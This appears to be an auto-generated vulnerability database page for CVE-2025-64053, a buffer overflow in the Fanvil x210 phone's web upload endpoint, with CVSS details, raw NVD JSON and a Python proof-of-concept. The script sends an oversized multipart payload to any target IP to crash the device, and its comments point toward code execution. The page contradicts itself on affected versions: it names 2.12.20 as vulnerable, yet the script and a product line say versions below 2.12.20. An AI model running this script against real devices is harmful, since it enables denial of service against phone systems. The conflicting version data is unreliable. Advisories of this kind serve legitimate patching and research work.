Security Vulnerability Report
中文
CVE-2025-64053 CVSS 7.5 HIGH

CVE-2025-64053

Published: 2025-12-05 16:15:50
Last Modified: 2026-01-09 02:17:37

Description

A Buffer overflow vulnerability on Fanvil x210 2.12.20 devices allows attackers to cause a denial of service or potentially execute arbitrary commands via crafted POST request to the /cgi-bin/webconfig?page=upload&action=submit endpoint.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:fanvil:x210_firmware:2.12.20:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:fanvil:x210:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
Fanvil x210 < 2.12.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-64053 PoC - Fanvil x210 Buffer Overflow # Target: Fanvil x210 < 2.12.20 # Endpoint: /cgi-bin/webconfig?page=upload&action=submit import requests import sys def exploit_cve_2025_64053(target_ip, target_port=443): """ PoC for CVE-2025-64053 Buffer Overflow in Fanvil x210 This exploits a buffer overflow in the upload endpoint """ url = f"https://{target_ip}:{target_port}/cgi-bin/webconfig?page=upload&action=submit" # Buffer overflow payload - 2000 bytes to trigger overflow # In real attack, this would be crafted to achieve RCE buffer_size = 2000 overflow_payload = b'A' * buffer_size # Construct multipart form data files = { 'file': ('exploit.bin', overflow_payload, 'application/octet-stream') } headers = { 'User-Agent': 'CVE-2025-64053-PoC', 'Accept': '*/*' } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {buffer_size} bytes") try: response = requests.post(url, files=files, headers=headers, verify=False, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Target may be vulnerable if service crashes") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit_cve_2025_64053(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64053", "sourceIdentifier": "[email protected]", "published": "2025-12-05T16:15:50.193", "lastModified": "2026-01-09T02:17:36.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Buffer overflow vulnerability on Fanvil x210 2.12.20 devices allows attackers to cause a denial of service or potentially execute arbitrary commands via crafted POST request to the /cgi-bin/webconfig?page=upload&action=submit endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fanvil:x210_firmware:2.12.20:*:*:*:*:*:*:*", "matchCriteriaId": "B5339CEB-DD13-43D9-9DBB-F58EA2EDC47D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:fanvil:x210:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "826351F9-626E-4EA9-9634-9E04B462AF4A"}]}]}], "references": [{"url": "http://fanvil.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/SpikeReply/advisories/blob/main/cve/fanvil/cve-2025-64053.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}